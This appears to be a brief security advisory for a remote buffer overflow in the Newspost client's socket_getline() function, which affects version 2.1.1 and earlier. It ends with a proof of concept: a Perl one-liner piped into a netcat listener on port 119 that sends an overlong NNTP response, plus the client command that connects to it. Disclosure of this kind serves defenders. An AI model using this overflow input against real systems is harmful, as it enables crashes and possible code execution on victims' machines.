Newspost is prone to a remote buffer overflow vulnerability due to an unbounded memory copy operation.
|
|
|
|
The problem occurs in the 'socket_getline()' function of 'socket.c' when the vulnerable client handles NNTP server responses.
|
|
|
|
Successful exploitation of this issue could potentially lead to arbitrary code execution.
|
|
|
|
This issue was reported to affect Newspost 2.1.1 and prior, however, other versions may be vulnerable.

Create a server:
|
|
perl -e 'print "A" x 1024;print "BBBBCCCCDDDDEEEE"'| nc -v -l -p 119
|
|
|
|
Connect to it:
|
|
newspost -s test -i localhost -f me@me.nl -n news.news /etc/hosts |
